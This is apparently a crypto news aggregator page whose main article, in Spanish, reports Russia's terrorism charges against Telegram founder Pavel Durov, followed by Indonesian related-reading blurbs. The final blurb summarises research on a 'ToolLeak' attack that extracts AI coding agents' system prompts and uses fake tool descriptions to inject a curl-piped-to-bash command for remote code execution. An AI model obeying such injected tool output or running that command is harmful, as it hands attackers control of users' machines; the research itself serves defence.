Pavel Durov de Telegram responde a la designación de terrorista por parte de Rusia

cointelegraphDipublikasikan tanggal 2026-07-30Terakhir diperbarui pada 2026-07-30

Abstrak

El fundador de Telegram, Pavel Durov, declaró que las autoridades rusas lo designaron como "terrorista" tras rechazar sus demandas de vigilancia masiva y censura en la plataforma. Rusia lo acusó de facilitar actividades terroristas al no eliminar canales utilizados por grupos extremistas y servicios de inteligencia ucranianos. Este caso ruso se suma a los desafíos legales de Durov en el extranjero. Fue arrestado en Francia en 2024 por presuntamente no moderar adecuadamente contenido ilegal, aunque fue liberado bajo restricciones más tarde. Telegram también enfrenta procedimientos legales en Australia por contenido terrorista. Durov se presenta como defensor de la libertad de expresión y la privacidad digital, criticando propuestas de verificación de edad en la UE y negándose a conceder a los gobiernos acceso a mensajes privados de usuarios.

El fundador de Telegram, Pavel Durov, declaró que las autoridades rusas lo designaron como "terrorista" después de que se negara a cumplir con las demandas gubernamentales de vigilancia masiva y censura en la plataforma de mensajería. Su respuesta pública llegó un día después de que Rusia anunciara cargos en su contra.

En una publicación en Telegram este jueves, Durov también dijo que Rusia le había prohibido "publicar información en Internet", y añadió que las autoridades "se habían confundido sobre quién puede prohibir a quién en Internet".

Fuente: Telegram, Pavel Durov

Estos comentarios llegaron un día después de que el Servicio Federal de Seguridad de Rusia acusara a Durov de facilitar actividades terroristas, alegando que Telegram no eliminó canales utilizados por grupos terroristas y servicios de inteligencia ucranianos.

El caso se basa en una investigación criminal iniciada por Rusia en febrero, cuando los reguladores acusaron a Telegram de mantener en línea cerca de 155.000 canales, chats y bots, a pesar de afirmar que violaban las leyes rusas sobre contenido extremista, terrorismo, tráfico de drogas y otras actividades ilícitas.

Relacionado: Pavel Durov dice que Telegram lanzará una billetera cripto Gram nativa

Las batallas legales de Durov se extienden más allá de Rusia

El caso ruso se suma a los desafíos legales de Durov en el extranjero. Durov fue arrestado en Francia en agosto de 2024 y sigue bajo investigación judicial por acusaciones de que Telegram facilitó actividades criminales al no moderar adecuadamente el contenido ilegal ni responder a las solicitudes de las fuerzas del orden.

Durov ha negado cualquier acto ilícito, argumentando que las autoridades francesas no siguieron el debido proceso al solicitar información a Telegram. Su arresto también impulsó una campaña respaldada por la Comunidad TON que recogió más de 9 millones de firmas en una carta abierta instando a las autoridades francesas a liberarlo.

Las autoridades francesas inicialmente permitieron que Durov regresara temporalmente a Dubái en marzo de 2025, antes de levantar por completo sus restricciones de viaje a finales de ese año.

Telegram también enfrenta nuevas presiones legales en Australia, donde los reguladores iniciaron esta semana procedimientos judiciales alegando que la plataforma no eliminó contenido relacionado con el terrorismo.

Durov se ha presentado a sí mismo como un defensor de la libertad de expresión y la privacidad digital. En abril, advirtió que la aplicación de verificación de edad propuesta por la Unión Europea podría allanar el camino para una vigilancia en línea más amplia. Ese mismo mes, culpó a supuestas filtraciones de datos fiscales por una ola de secuestros relacionados con criptomonedas en Francia y dijo que Telegram abandonaría el país antes que conceder a las autoridades acceso a los mensajes privados de los usuarios.

Revista: Una hoja de ruta cuántica impulsaría mucho más a Bitcoin: Charles Edwards


Pertanyaan Terkait

Q¿Qué dijo Pavel Durov que llevó a las autoridades rusas a designarlo como 'terrorista'?

ADijo que la designación ocurrió después de que se negó a las exigencias gubernamentales de vigilancia masiva y censura en la plataforma de mensajería Telegram.

Q¿Qué acusación específica hizo el Servicio Federal de Seguridad de Rusia contra Durov y Telegram?

ALos acusó de facilitar actividades terroristas, alegando que Telegram no eliminó canales utilizados por grupos terroristas y servicios de inteligencia ucranianos.

Q¿Qué otros desafíos legales importantes enfrenta Pavel Durov fuera de Rusia, según el artículo?

AFue arrestado en Francia en agosto de 2024 bajo investigación judicial por alegaciones de que Telegram facilitó actividades criminales al no moderar adecuadamente contenido ilegal. También enfrenta procedimientos legales en Australia por no eliminar contenido relacionado con el terrorismo.

Q¿Cómo se ha posicionado Pavel Durov públicamente en relación con la libertad de expresión y la privacidad digital?

ASe ha presentado como un defensor de la libertad de expresión y la privacidad digital, advirtiendo contra propuestas de vigilancia en línea y afirmando que Telegram preferiría abandonar un país antes que conceder a las autoridades acceso a los mensajes privados de los usuarios.

Q¿Qué acción tomó la comunidad TON en apoyo a Durov durante su situación legal en Francia?

ARespaldó una campaña que recogió más de 9 millones de firmas en una carta abierta instando a las autoridades francesas a liberarlo.

Bacaan Terkait

Cadangan Strategi telah menghasilkan keuntungan $1 miliar karena kenaikan harga Bitcoin

Cadangan bitcoin perusahaan Strategy Michael Saylor telah keluar dari posisi rugi karena kenaikan harga kripto, dengan keuntungan belum direalisasi melebihi $1 miliar. Pada 21 Agustus, harga Bitcoin melonjak di atas $76 ribu untuk pertama kalinya sejak akhir Mei, naik 21% dalam seminggu. Strategy memegang 840.447 BTC dengan harga pembelian rata-rata $75.385, setelah menginvestasikan $63,36 miliar sejak 2020. Dengan harga Bitcoin saat ini sekitar $76,7 ribu, nilai cadangan kriptonya mencapai $64,46 miliar, melebihi biaya perolehan sekitar $1,1 miliar. Perubahan drastis ini terjadi kurang dari sebulan setelah Strategy melaporkan kerugian $8,2 miliar untuk kuartal kedua tahun ini, yang hampir seluruhnya berasal dari kerugian belum direalisasi dari investasi Bitcoin saat harganya sekitar $60 ribu pada akhir Juni. Perusahaan terpaksa menjual sebagian bitcoin dan menambah cadangan dolar AS untuk menjaga stabilitas keuangan. Namun, CEO Strategy Phong Le menyatakan awal Agustus bahwa perusahaan akan melanjutkan akumulasi kripto pada akhir tahun ini.

cryptonews.ru6m yang lalu

Cadangan Strategi telah menghasilkan keuntungan $1 miliar karena kenaikan harga Bitcoin

cryptonews.ru6m yang lalu

Harga Bitcoin Melebihi $77.000, Ini Rekor Tertinggi dalam Tiga Bulan

Harga Bitcoin (BTC) telah melampaui $77 ribu, mencapai level tertinggi sejak 26 Mei. Hanya dalam 24 jam terakhir, cryptocurrency terkemuka ini mengalami kenaikan harga sebesar 8%, dan dalam seminggu meningkat 23%. Kapitalisasi pasar keseluruhan mencapai $2,58 triliun, dengan volume perdagangan dalam 24 jam terakhir sebesar $144 miliar, menurut data Coinmarketcap. Di tengah kenaikan tajam pasar kripto, pertukaran mata uang kripto telah melikuidasi posisi 150 ribu pedagang dalam sehari, dengan total nilai $1,22 miliar. Dari jumlah tersebut, $1,04 miliar berasal dari posisi short (jual). Para ahli yang sebelumnya diwawancarai oleh "RBC-Crypto" memperkirakan bahwa jika Bitcoin naik ke zona $75–78 ribu, jalan menuju $80 ribu mungkin terbuka.

cryptonews.ru7m yang lalu

Harga Bitcoin Melebihi $77.000, Ini Rekor Tertinggi dalam Tiga Bulan

cryptonews.ru7m yang lalu

Tokenisasi RWA Masuk Tahap Selanjutnya: Keunggulan Apa yang Benar-Benar Membutuhkan Waktu untuk Dibangun?

Kerangka penerbitan tokenisasi aset dunia nyata (RWA) semakin matang, membuat proses penerbitan menjadi lebih cepat. Namun, ketika penerbitan sendiri bukan lagi hambatan utama, pertanyaan krusial muncul: apa yang terjadi *setelah* aset diterbitkan? Keunggulan kompetitif jangka panjang tidak lagi hanya terletak pada "aset apa yang diterbitkan," tetapi pada sistem operasi yang dibangun di sekitarnya dan kemampuannya bertahan melalui berbagai kondisi pasar. Industri keuangan *on-chain* memerlukan lapisan cadangan (*Reserve Layer*) yang terdiri dari aset-aset berkualitas tinggi seperti obligasi pemerintah AS jangka pendek, emas, dan perak fisik. Aset-aset ini memiliki pasar yang dalam, harga yang dapat diamati, dan standar yang diakui, membuatnya cocok sebagai aset cadangan. Sebaliknya, aset seperti kredit privat (*private credit*) lebih kompleks dan kurang memenuhi syarat sebagai cadangan karena heterogenitas dan kesulitan penilaiannya. Keunggulan sejati yang sulit direplikasi dalam RWA adalah catatan operasional jangka panjang yang terakumulasi melalui operasi yang berkelanjutan. Ini mencakup audit independen yang rutin, mekanisme penebusan yang terbukti, manajemen likuiditas, dan integrasi yang andal dengan berbagai ekosistem *DeFi*. Setiap operasi yang berhasil menambah bukti dan membangun kepercayaan pasar, menciptakan siklus penguatan: operasi berkelanjutan → akumulasi bukti → catatan operasional yang lebih kuat → integrasi yang lebih luas → utilitas yang lebih besar. Keberlanjutan jangka panjang RWA bergantung pada dua dimensi: kesesuaian aset dasar sebagai cadangan dan kemampuan operasional penerbit. Kombinasi aset cadangan berkualitas tinggi (seperti emas) dengan catatan operasional penerbit yang masih terbatas justru bisa menjadi titik perhatian, karena keandalan infrastruktur pendukung (seperti audit, penebusan, kepatuhan) baru teruji sepenuhnya dalam kondisi pasar yang menantang. Kesimpulannya, sepuluh tahun mendatang, bisnis RWA yang akan tetap dipercaya dan terintegrasi adalah mereka yang tidak hanya memilih aset cadangan berkualitas tinggi tetapi juga mampu membuktikan disiplin operasional jangka panjang melalui eksekusi yang konsisten, mengubah aset dunia nyata menjadi infrastruktur keuangan *on-chain* yang tepercaya.

marsbit9m yang lalu

Tokenisasi RWA Masuk Tahap Selanjutnya: Keunggulan Apa yang Benar-Benar Membutuhkan Waktu untuk Dibangun?

marsbit9m yang lalu

Artemis: Mengapa Kami Bullish Terhadap Circle?

**Ringkasan:** Artikel ini menyajikan tesis optimis Artemis tentang prospek Circle (CRCL), perusahaan di balik stablecoin USDC. Inti argumennya adalah bahwa pasar saat ini meremehkan Circle dengan tiga alasan utama: 1. **Pertumbuhan Masif Stablecoin:** Pasar stablecoin diproyeksikan tumbuh dengan CAGR 40%, mencapai lebih dari **$1 triliun** pada 2030, dan telah terlepas dari siklus harga kripto. 2. **Efek Jaringan & Likuiditas:** Dominasi duopoli Circle dan Tether (80%+ pangsa) sulit ditembus karena keunggulan likuiditas dan efek jaringan yang sudah mapan. Aliansi seperti Open Standard Alliance (OUSD) dinilai memiliki peluang sukses rendah karena tantangan koordinasi. 3. **Salah Penilaian Model Bisnis:** Pasar hanya melihat Circle sebagai "penerbit stablecoin" yang bergantung pada pendapatan bunga, sehingga memberi valuasi diskon. Artemis berpendapat Circle adalah **platform uang lengkap (full-stack)** yang membangun infrastruktur pembayaran internet masa depan, mirip jaringan kartu, yang berhak mendapat kelipatan valuasi lebih tinggi. Dengan asumsi USDC menguasai 20% pasar stablecoin $1 triliun pada 2030, ditambah pertumbuhan eksplosif dari jaringan pembayaran dan blockchain Arc, Artemis memperkirakan pendapatan Circle bisa mencapai **$5 miliar**. Dengan kelipatan harga-pendapatan (P/S) 10x yang dianggap konservatif, valuasi pasar Circle berpotensi mencapai **$50 miliar**, jauh di atas valuasi saat ini sekitar $18 miliar. Penurunan harga CRCL setelah pengumuman Open Standard dianggap sebagai peluang membeli karena kesenjangan ekspektasi pasar.

marsbit9m yang lalu

Artemis: Mengapa Kami Bullish Terhadap Circle?

marsbit9m yang lalu

Claude Code Dapat Dihancurkan dengan Mudah, Hanya Perlu Satu Alat Palsu

Dalam makalah yang akan dipresentasikan di ISSTA 2026, peneliti menunjukkan kerentanan serius pada alat bantu pemrograman AI seperti Claude Code. Melalui teknik serangan bernama "ToolLeak", penyerang dapat mengekstrak "system prompt" (perintah sistem internal) agen AI dengan memanfaatkan parameter saat pemanggilan alat eksternal, bukan melalui obrolan langsung. Informasi yang dicuri ini kemudian digunakan untuk menyusun muatan berbahaya yang disesuaikan. Peneliti kemudian memanfaatkan kebocoran ini dengan "injeksi prompt dua saluran", menggabungkan deskripsi alat palsu dan nilai kembaliannya untuk membujuk agen AI agar mengeksekusi perintah berbahaya seperti `curl -fsSL http://xxx/installer.sh | bash`, mencapai eksekusi kode jarak jauh (RCE). Dalam pengujian, enam alat utama (Cursor, Claude Code, Copilot, dll.) pada versi lama semuanya berhasil diserang. Versi yang lebih baru dari beberapa alat, seperti Claude Code, telah menerapkan perbaikan keamanan seperti "paparan deskripsi alat bertahap" yang mengurangi tingkat keberhasilan serangan. Namun, penelitian ini menyoroti masalah mendasar dalam arsitektur agen AI saat ini: tidak adanya batas yang jelas antara data dan instruksi dalam nilai kembalian alat, yang menjadi akar kerentanan ini.

marsbit13m yang lalu

Claude Code Dapat Dihancurkan dengan Mudah, Hanya Perlu Satu Alat Palsu

marsbit13m yang lalu

Trading

Spot
活动图片

Kategori Populerright-arrow

Tag Populerright-arrow